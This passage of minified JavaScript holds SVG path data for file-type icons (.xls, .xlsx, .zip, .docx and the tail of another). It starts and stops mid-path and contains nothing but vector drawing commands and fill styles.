C 13.6875 43.6875 13.6875 43.6875 13.703125 43.703125 C 13.734375 43.703125 13.765625 43.71875 13.8125 43.734375 L 13.859375 43.734375 L 13.929688 43.746094 L 14 43.75 C 14.0625 43.75 14.109375 43.75 14.15625 43.734375 L 14.1875 43.734375 C 14.234375 43.71875 14.28125 43.703125 14.3125 43.703125 C 14.3125 43.6875 14.328125 43.6875 14.328125 43.6875 L 14.34375 43.6875 C 14.40625 43.671875 14.4375 43.625 14.484375 43.59375 L 14.5 43.59375 C 14.53125 43.5625 14.578125 43.53125 14.609375 43.515625 C 14.609375 43.5 14.625 43.5 14.625 43.46875 C 14.65625 43.4375 14.6875 43.40625 14.703125 43.375 L 14.71875 43.359375 C 14.75 43.328125 14.78125 43.265625 14.796875 43.21875 L 18.625 34.109375 C 18.8125 33.6875 18.609375 33.171875 18.1875 33 C 17.734375 32.8125 17.234375 33.015625 17.046875 33.453125 L 14 40.6875 L 11.984375 35.890625 C 11.828125 35.546875 11.5 35.359375 11.171875 35.359375 C 10.828125 35.359375 10.5 35.546875 10.359375 35.890625 L 8.34375 40.6875 L 5.28125 33.453125 C 5.109375 33.015625 4.59375 32.8125 4.171875 33 C 3.71875 33.171875 3.53125 33.6875 3.703125 34.109375 L 7.546875 43.21875 C 7.578125 43.265625 7.59375 43.328125 7.625 43.359375 L 7.625 43.375 C 7.65625 43.40625 7.671875 43.4375 7.703125 43.46875 C 7.71875 43.5 7.71875 43.5 7.734375 43.515625 L 7.789062 43.546875 L 7.84375 43.59375 C 7.84375 43.59375 7.84375 43.59375 7.859375 43.59375 C 7.890625 43.625 7.953125 43.671875 8 43.6875 C 8.015625 43.6875 8.015625 43.6875 8.03125 43.703125 C 8.0625 43.703125 8.09375 43.71875 8.140625 43.734375 L 8.1875 43.734375 L 8.265625 43.746094 L 8.34375 43.75 C 8.390625 43.75 8.4375 43.75 8.484375 43.734375 Z M 29.03125 43.75 C 29.5 43.75 29.90625 43.359375 29.90625 42.890625 L 29.90625 33.671875 C 29.90625 33.269531 29.609375 32.9375 29.226562 32.839844 L 29.03125 32.8125 L 29.015625 32.8125 C 28.734375 32.8125 28.484375 32.9375 28.3125 33.171875 L 25.203125 37.484375 L 22.09375 33.171875 C 21.9375 32.9375 21.65625 32.8125 21.40625 32.8125 L 21.359375 32.8125 C 20.890625 32.8125 20.5 33.203125 20.5 33.671875 L 20.5 42.890625 C 20.5 43.359375 20.890625 43.75 21.359375 43.75 C 21.84375 43.75 22.234375 43.359375 22.234375 42.890625 L 22.234375 36.3125 L 24.46875 39.4375 C 24.640625 39.671875 24.90625 39.796875 25.1875 39.796875 L 25.21875 39.796875 C 25.5 39.796875 25.75 39.671875 25.921875 39.4375 L 28.171875 36.3125 L 28.171875 42.890625 C 28.171875 43.359375 28.546875 43.75 29.03125 43.75 Z M 37.015625 43.734375 L 37.0625 43.734375 C 37.09375 43.71875 37.125 43.703125 37.1875 43.703125 L 37.195312 43.6875 C 37.203125 43.6875 37.203125 43.6875 37.21875 43.6875 C 37.25 43.671875 37.296875 43.625 37.34375 43.59375 L 37.375 43.59375 C 37.40625 43.5625 37.4375 43.53125 37.46875 43.515625 C 37.46875 43.5 37.484375 43.5 37.484375 43.46875 L 37.578125 43.375 C 37.578125 43.375 37.578125 43.359375 37.59375 43.359375 C 37.609375 43.328125 37.640625 43.265625 37.65625 43.21875 L 39.703125 38.375 L 41.75 43.21875 C 41.765625 43.265625 41.78125 43.328125 41.8125 43.359375 C 41.8125 43.359375 41.8125 43.375 41.84375 43.375 L 41.90625 43.46875 C 41.921875 43.5 41.921875 43.5 41.9375 43.515625 L 41.984375 43.546875 L 42.046875 43.59375 C 42.046875 43.59375 42.046875 43.59375 42.0625 43.59375 C 42.09375 43.625 42.140625 43.671875 42.203125 43.6875 C 42.21875 43.6875 42.21875 43.6875 42.234375 43.703125 C 42.265625 43.703125 42.296875 43.71875 42.34375 43.734375 L 42.390625 43.734375 L 42.460938 43.746094 L 42.53125 43.75 C 42.59375 43.75 42.640625 43.75 42.6875 43.734375 L 42.71875 43.734375 C 42.765625 43.71875 42.8125 43.703125 42.84375 43.703125 C 42.84375 43.6875 42.859375 43.6875 42.859375 43.6875 L 42.875 43.6875 C 42.9375 43.671875 42.96875 43.625 43.015625 43.59375 L 43.03125 43.59375 C 43.0625 43.5625 43.109375 43.53125 43.140625 43.515625 C 43.140625 43.5 43.15625 43.5 43.15625 43.46875 C 43.1875 43.4375 43.21875 43.40625 43.234375 43.375 L 43.25 43.359375 C 43.28125 43.328125 43.3125 43.265625 43.328125 43.21875 L 47.15625 34.109375 C 47.34375 33.6875 47.140625 33.171875 46.71875 33 C 46.265625 32.8125 45.765625 33.015625 45.578125 33.453125 L 42.53125 40.6875 L 40.515625 35.890625 C 40.359375 35.546875 40.03125 35.359375 39.703125 35.359375 C 39.359375 35.359375 39.03125 35.546875 38.890625 35.890625 L 36.875 40.6875 L 33.8125 33.453125 C 33.640625 33.015625 33.125 32.8125 32.703125 33 C 32.25 33.171875 32.0625 33.6875 32.234375 34.109375 L 36.078125 43.21875 C 36.109375 43.265625 36.125 43.328125 36.15625 43.359375 L 36.15625 43.375 C 36.1875 43.40625 36.203125 43.4375 36.234375 43.46875 C 36.25 43.5 36.25 43.5 36.265625 43.515625 L 36.320312 43.546875 L 36.375 43.59375 C 36.375 43.59375 36.375 43.59375 36.390625 43.59375 C 36.421875 43.625 36.484375 43.671875 36.53125 43.6875 C 36.546875 43.6875 36.546875 43.6875 36.5625 43.703125 C 36.59375 43.703125 36.625 43.71875 36.671875 43.734375 L 36.71875 43.734375 L 36.796875 43.746094 L 36.875 43.75 C 36.921875 43.75 36.96875 43.75 37.015625 43.734375 Z M 37.015625 43.734375 "/>\n </g>'},xlsIcon:{extension:".xls",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 17.21875 46.875 C 17.425781 46.875 17.632812 46.800781 17.820312 46.667969 C 18.289062 46.351562 18.363281 45.695312 18.042969 45.242188 L 14.480469 40.367188 L 18.042969 35.53125 C 18.363281 35.0625 18.289062 34.425781 17.820312 34.105469 C 17.351562 33.75 16.730469 33.84375 16.375 34.332031 L 13.226562 38.644531 L 10.054688 34.332031 C 9.738281 33.84375 9.082031 33.75 8.632812 34.105469 C 8.164062 34.425781 8.070312 35.0625 8.386719 35.53125 L 11.949219 40.367188 L 8.386719 45.242188 C 8.070312 45.695312 8.164062 46.351562 8.632812 46.667969 C 8.800781 46.800781 9.007812 46.875 9.230469 46.875 C 9.550781 46.875 9.851562 46.707031 10.054688 46.445312 L 13.226562 42.113281 L 16.375 46.445312 C 16.582031 46.707031 16.882812 46.875 17.21875 46.875 Z M 29.351562 46.875 C 29.894531 46.875 30.382812 46.40625 30.382812 45.84375 C 30.382812 45.261719 29.894531 44.792969 29.351562 44.792969 L 24.269531 44.792969 L 24.269531 34.78125 C 24.269531 34.21875 23.800781 33.75 23.21875 33.75 C 22.636719 33.75 22.1875 34.21875 22.1875 34.78125 L 22.1875 45.84375 C 22.1875 46.335938 22.53125 46.757812 23.007812 46.855469 L 23.222656 46.875 Z M 37.28125 46.855469 C 38.613281 46.855469 39.832031 46.460938 40.75 45.789062 C 41.6875 45.113281 42.363281 44.082031 42.363281 42.882812 C 42.363281 42.300781 42.195312 41.738281 41.914062 41.289062 C 41.480469 40.59375 40.804688 40.105469 40.039062 39.730469 C 39.289062 39.375 38.40625 39.132812 37.449219 38.945312 L 37.414062 38.945312 C 36.398438 38.757812 35.554688 38.457031 35.070312 38.117188 C 34.824219 37.949219 34.65625 37.78125 34.5625 37.632812 C 34.46875 37.480469 34.429688 37.332031 34.429688 37.105469 C 34.429688 36.710938 34.636719 36.300781 35.144531 35.925781 C 35.648438 35.550781 36.398438 35.289062 37.242188 35.289062 C 38.386719 35.289062 39.304688 35.851562 40.261719 36.488281 C 40.710938 36.789062 41.3125 36.65625 41.59375 36.207031 C 41.894531 35.773438 41.761719 35.175781 41.332031 34.875 C 40.375 34.257812 39.042969 33.375 37.242188 33.375 C 36.023438 33.375 34.882812 33.730469 34 34.367188 C 33.136719 35.007812 32.5 35.980469 32.5 37.105469 C 32.5 37.667969 32.648438 38.195312 32.929688 38.644531 C 33.34375 39.300781 33.960938 39.769531 34.675781 40.105469 C 35.386719 40.445312 36.210938 40.667969 37.09375 40.835938 L 37.132812 40.835938 C 38.238281 41.042969 39.15625 41.363281 39.699219 41.71875 C 39.980469 41.90625 40.148438 42.09375 40.261719 42.28125 C 40.375 42.46875 40.429688 42.636719 40.429688 42.882812 C 40.429688 43.351562 40.1875 43.820312 39.625 44.230469 C 39.0625 44.644531 38.21875 44.925781 37.28125 44.925781 C 35.949219 44.945312 34.523438 44.15625 33.699219 43.480469 C 33.289062 43.144531 32.667969 43.199219 32.332031 43.613281 C 32.011719 44.023438 32.070312 44.644531 32.480469 44.980469 C 33.550781 45.824219 35.257812 46.835938 37.28125 46.855469 Z M 37.28125 46.855469 "/>\n </g>'},xlsxIcon:{extension:".xlsx",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 13.070312 43.75 C 13.242188 43.75 13.414062 43.6875 13.570312 43.578125 C 13.960938 43.3125 14.023438 42.765625 13.757812 42.390625 L 10.789062 38.328125 L 13.757812 34.296875 C 14.023438 33.90625 13.960938 33.375 13.570312 33.109375 C 13.179688 32.8125 12.664062 32.890625 12.367188 33.296875 L 9.742188 36.890625 L 7.101562 33.296875 C 6.835938 32.890625 6.289062 32.8125 5.914062 33.109375 C 5.523438 33.375 5.445312 33.90625 5.710938 34.296875 L 8.679688 38.328125 L 5.710938 42.390625 C 5.445312 42.765625 5.523438 43.3125 5.914062 43.578125 C 6.054688 43.6875 6.226562 43.75 6.414062 43.75 C 6.679688 43.75 6.929688 43.609375 7.101562 43.390625 L 9.742188 39.78125 L 12.367188 43.390625 C 12.539062 43.609375 12.789062 43.75 13.070312 43.75 Z M 23.179688 43.75 C 23.632812 43.75 24.039062 43.359375 24.039062 42.890625 C 24.039062 42.40625 23.632812 42.015625 23.179688 42.015625 L 18.945312 42.015625 L 18.945312 33.671875 C 18.945312 33.203125 18.554688 32.8125 18.070312 32.8125 C 17.585938 32.8125 17.210938 33.203125 17.210938 33.671875 L 17.210938 42.890625 C 17.210938 43.359375 17.585938 43.75 18.070312 43.75 Z M 29.789062 43.734375 C 30.898438 43.734375 31.914062 43.40625 32.679688 42.84375 C 33.460938 42.28125 34.023438 41.421875 34.023438 40.421875 C 34.023438 39.9375 33.882812 39.46875 33.648438 39.09375 C 33.289062 38.515625 32.726562 38.109375 32.085938 37.796875 C 31.460938 37.5 30.726562 37.296875 29.929688 37.140625 L 29.898438 37.140625 C 29.054688 36.984375 28.351562 36.734375 27.945312 36.453125 C 27.742188 36.3125 27.601562 36.171875 27.523438 36.046875 C 27.445312 35.921875 27.414062 35.796875 27.414062 35.609375 C 27.414062 35.28125 27.585938 34.9375 28.007812 34.625 C 28.429688 34.3125 29.054688 34.09375 29.757812 34.09375 C 30.710938 34.09375 31.476562 34.5625 32.273438 35.09375 C 32.648438 35.34375 33.148438 35.234375 33.382812 34.859375 C 33.632812 34.5 33.523438 34 33.164062 33.75 C 32.367188 33.234375 31.257812 32.5 29.757812 32.5 C 28.742188 32.5 27.789062 32.796875 27.054688 33.328125 C 26.335938 33.859375 25.804688 34.671875 25.804688 35.609375 C 25.804688 36.078125 25.929688 36.515625 26.164062 36.890625 C 26.507812 37.4375 27.023438 37.828125 27.617188 38.109375 C 28.210938 38.390625 28.898438 38.578125 29.632812 38.71875 L 29.664062 38.71875 C 30.585938 38.890625 31.351562 39.15625 31.804688 39.453125 C 32.039062 39.609375 32.179688 39.765625 32.273438 39.921875 C 32.367188 40.078125 32.414062 40.21875 32.414062 40.421875 C 32.414062 40.8125 32.210938 41.203125 31.742188 41.546875 C 31.273438 41.890625 30.570312 42.125 29.789062 42.125 C 28.679688 42.140625 27.492188 41.484375 26.804688 40.921875 C 26.460938 40.640625 25.945312 40.6875 25.664062 41.03125 C 25.398438 41.375 25.445312 41.890625 25.789062 42.171875 C 26.679688 42.875 28.101562 43.71875 29.789062 43.734375 Z M 43.179688 43.75 C 43.351562 43.75 43.523438 43.6875 43.679688 43.578125 C 44.070312 43.3125 44.132812 42.765625 43.867188 42.390625 L 40.898438 38.328125 L 43.867188 34.296875 C 44.132812 33.90625 44.070312 33.375 43.679688 33.109375 C 43.289062 32.8125 42.773438 32.890625 42.476562 33.296875 L 39.851562 36.890625 L 37.210938 33.296875 C 36.945312 32.890625 36.398438 32.8125 36.023438 33.109375 C 35.632812 33.375 35.554688 33.90625 35.820312 34.296875 L 38.789062 38.328125 L 35.820312 42.390625 C 35.554688 42.765625 35.632812 43.3125 36.023438 43.578125 C 36.164062 43.6875 36.335938 43.75 36.523438 43.75 C 36.789062 43.75 37.039062 43.609375 37.210938 43.390625 L 39.851562 39.78125 L 42.476562 43.390625 C 42.648438 43.609375 42.898438 43.75 43.179688 43.75 Z M 43.179688 43.75 "/>\n </g>'},zipIcon:{extension:".zip",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 20.175781 46.875 C 20.855469 46.875 21.402344 46.351562 21.402344 45.671875 C 21.402344 44.992188 20.855469 44.445312 20.175781 44.445312 L 13.132812 44.445312 L 21.183594 33.488281 L 21.183594 33.445312 C 21.203125 33.421875 21.226562 33.378906 21.25 33.335938 C 21.269531 33.3125 21.269531 33.289062 21.292969 33.269531 C 21.3125 33.203125 21.3125 33.179688 21.335938 33.136719 C 21.335938 33.09375 21.378906 33.070312 21.378906 33.007812 C 21.378906 32.984375 21.378906 32.960938 21.402344 32.917969 L 21.402344 32.679688 C 21.402344 32.632812 21.402344 32.613281 21.378906 32.546875 C 21.378906 32.503906 21.378906 32.480469 21.335938 32.4375 C 21.335938 32.414062 21.3125 32.371094 21.3125 32.304688 C 21.292969 32.285156 21.269531 32.242188 21.269531 32.21875 C 21.25 32.195312 21.226562 32.152344 21.203125 32.109375 C 21.183594 32.066406 21.160156 32.042969 21.117188 32.023438 C 21.09375 32 21.074219 31.957031 21.050781 31.933594 C 21.03125 31.914062 21.007812 31.867188 20.964844 31.847656 C 20.941406 31.824219 20.941406 31.804688 20.898438 31.78125 L 20.875 31.78125 C 20.832031 31.757812 20.8125 31.738281 20.765625 31.714844 C 20.746094 31.695312 20.722656 31.648438 20.65625 31.648438 L 20.570312 31.605469 L 20.4375 31.585938 C 20.417969 31.585938 20.375 31.5625 20.351562 31.5625 L 10.75 31.5625 C 10.070312 31.5625 9.546875 32.085938 9.546875 32.765625 C 9.546875 33.421875 10.070312 33.992188 10.75 33.992188 L 17.8125 33.992188 L 9.785156 44.972656 L 9.765625 44.972656 C 9.742188 45.015625 9.71875 45.058594 9.699219 45.082031 C 9.699219 45.101562 9.675781 45.148438 9.632812 45.167969 C 9.632812 45.210938 9.609375 45.257812 9.609375 45.277344 C 9.589844 45.320312 9.589844 45.367188 9.566406 45.386719 L 9.566406 45.496094 C 9.546875 45.539062 9.546875 45.585938 9.546875 45.648438 L 9.546875 45.738281 C 9.546875 45.78125 9.566406 45.824219 9.566406 45.890625 C 9.566406 45.933594 9.589844 45.957031 9.589844 45.976562 L 9.632812 46.109375 C 9.632812 46.152344 9.675781 46.175781 9.699219 46.21875 C 9.699219 46.242188 9.71875 46.261719 9.742188 46.328125 C 9.765625 46.351562 9.785156 46.394531 9.808594 46.414062 C 9.828125 46.4375 9.851562 46.460938 9.894531 46.480469 L 9.9375 46.542969 L 9.984375 46.589844 C 10.003906 46.613281 10.027344 46.632812 10.046875 46.632812 L 10.046875 46.65625 C 10.070312 46.679688 10.09375 46.679688 10.136719 46.699219 C 10.179688 46.722656 10.222656 46.742188 10.246094 46.742188 C 10.265625 46.789062 10.289062 46.789062 10.3125 46.808594 C 10.375 46.808594 10.421875 46.832031 10.464844 46.832031 C 10.484375 46.851562 10.507812 46.851562 10.53125 46.851562 L 10.648438 46.871094 Z M 26.214844 46.875 C 26.871094 46.875 27.4375 46.351562 27.4375 45.671875 L 27.4375 32.765625 C 27.4375 32.085938 26.871094 31.5625 26.214844 31.5625 C 25.535156 31.5625 25.011719 32.085938 25.011719 32.765625 L 25.011719 45.671875 C 25.011719 46.351562 25.535156 46.875 26.214844 46.875 Z M 32.734375 46.875 C 33.410156 46.875 33.957031 46.328125 33.957031 45.671875 L 33.957031 40.925781 L 36.648438 40.925781 C 39.25 40.925781 41.351562 38.824219 41.351562 36.265625 C 41.351562 33.664062 39.25 31.5625 36.648438 31.5625 L 32.734375 31.5625 C 32.078125 31.5625 31.53125 32.085938 31.53125 32.765625 L 31.53125 45.671875 C 31.53125 46.328125 32.078125 46.875 32.734375 46.875 Z M 36.648438 38.496094 L 33.957031 38.496094 L 33.957031 33.992188 L 36.648438 33.992188 C 37.917969 33.992188 38.902344 34.996094 38.921875 36.265625 C 38.902344 37.492188 37.917969 38.496094 36.648438 38.496094 Z M 36.648438 38.496094 "/>\n </g>'},docxIcon:{extension:".docx",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.789062 43.75 C 9.589844 43.75 10.988281 43.269531 11.984375 42.304688 C 12.980469 41.339844 13.476562 39.984375 13.476562 38.234375 C 13.476562 36.496094 12.980469 35.144531 11.984375 34.179688 C 10.988281 33.214844 9.589844 32.734375 7.789062 32.734375 L 4.695312 32.734375 C 4.394531 32.734375 4.15625 32.816406 3.984375 32.984375 C 3.8125 33.152344 3.726562 33.386719 3.726562 33.6875 L 3.726562 42.796875 C 3.726562 43.097656 3.8125 43.332031 3.984375 43.5 C 4.15625 43.667969 4.394531 43.75 4.695312 43.75 Z M 7.664062 42.109375 L 5.742188 42.109375 L 5.742188 34.375 L 7.664062 34.375 C 10.195312 34.375 11.460938 35.660156 11.460938 38.234375 C 11.460938 40.816406 10.195312 42.109375 7.664062 42.109375 Z M 20.414062 43.890625 C 21.476562 43.890625 22.402344 43.660156 23.1875 43.203125 C 23.972656 42.746094 24.582031 42.089844 25.007812 41.234375 C 25.433594 40.378906 25.648438 39.378906 25.648438 38.234375 C 25.648438 37.089844 25.4375 36.089844 25.015625 35.242188 C 24.59375 34.394531 23.988281 33.738281 23.203125 33.28125 C 22.417969 32.824219 21.488281 32.59375 20.414062 32.59375 C 19.339844 32.59375 18.410156 32.824219 17.617188 33.28125 C 16.824219 33.738281 16.21875 34.394531 15.796875 35.242188 C 15.375 36.089844 15.164062 37.089844 15.164062 38.234375 C 15.164062 39.378906 15.378906 40.378906 15.804688 41.234375 C 16.230469 42.089844 16.839844 42.746094 17.625 43.203125 C 18.410156 43.660156 19.339844 43.890625 20.414062 43.890625 Z M 20.414062 42.28125 C 19.394531 42.28125 18.597656 41.933594 18.03125 41.234375 C 17.464844 40.535156 17.179688 39.535156 17.179688 38.234375 C 17.179688 36.933594 17.464844 35.933594 18.03125 35.242188 C 18.597656 34.550781 19.394531 34.203125 20.414062 34.203125 C 21.425781 34.203125 22.214844 34.550781 22.78125 35.242188 C 23.347656 35.933594 23.632812 36.933594 23.632812 38.234375 C 23.632812 39.535156 23.347656 40.535156 22.78125 41.234375 C 22.214844 41.933594 21.425781 42.28125 20.414062 42.28125 Z M 32.601562 43.890625 C 33.289062 43.890625 33.933594 43.789062 34.539062 43.585938 C 35.144531 43.382812 35.679688 43.089844 36.148438 42.703125 C 36.285156 42.597656 36.378906 42.488281 36.429688 42.367188 C 36.480469 42.246094 36.507812 42.109375 36.507812 41.953125 C 36.507812 41.722656 36.445312 41.53125 36.320312 41.375 C 36.195312 41.21875 36.042969 41.140625 35.867188 41.140625 C 35.753906 41.140625 35.644531 41.160156 35.539062 41.203125 C 35.433594 41.246094 35.332031 41.296875 35.226562 41.359375 C 34.746094 41.683594 34.316406 41.910156 33.9375 42.046875 C 33.558594 42.183594 33.144531 42.25 32.695312 42.25 C 31.613281 42.25 30.792969 41.910156 30.234375 41.234375 C 29.675781 40.558594 29.398438 39.558594 29.398438 38.234375 C 29.398438 36.921875 29.675781 35.925781 30.234375 35.25 C 30.792969 34.574219 31.613281 34.234375 32.695312 34.234375 C 33.164062 34.234375 33.589844 34.300781 33.976562 34.429688 C 34.363281 34.558594 34.777344 34.792969 35.226562 35.125 C 35.445312 35.269531 35.660156 35.34375 35.867188 35.34375 C 36.042969 35.34375 36.195312 35.265625 36.320312 35.109375 C 36.445312 34.953125 36.507812 34.761719 36.507812 34.53125 C 36.507812 34.363281 36.480469 34.222656 36.429688 34.109375 C 36.378906 33.996094 36.285156 33.886719 36.148438 33.78125 C 35.679688 33.394531 35.144531 33.101562 34.539062 32.898438 C 33.933594 32.695312 33.289062 32.59375 32.601562 32.59375 C 31.539062 32.59375 30.609375 32.824219 29.8125 33.28125 C 29.015625 33.738281 28.402344 34.394531 27.976562 35.242188 C 27.550781 36.089844 27.335938 37.089844 27.335938 38.234375 C 27.335938 39.378906 27.550781 40.378906 27.976562 41.234375 C 28.402344 42.089844 29.015625 42.746094 29.8125 43.203125 C 30.609375 43.660156 31.539062 43.890625 32.601562 43.890625 Z M 46.132812 43.84375 C 46.382812 43.84375 46.605469 43.75 46.796875 43.5625 C 46.988281 43.375 47.085938 43.15625 47.085938 42.90625 C 47.085938 42.707031 47.003906 42.511719 46.835938 42.3125 L 43.445312 38.15625 L 46.710938 34.171875 C 46.867188 34.003906 46.945312 33.808594 46.945312 33.578125 C 46.945312 33.328125 46.847656 33.113281 46.65625 32.929688 C 46.464844 32.746094 46.242188 32.65625 45.992188 32.65625 C 45.730469 32.65625 45.507812 32.769531 45.320312 33 L 42.273438 36.765625 L 39.226562 33 C 39.027344 32.769531 38.800781 32.65625 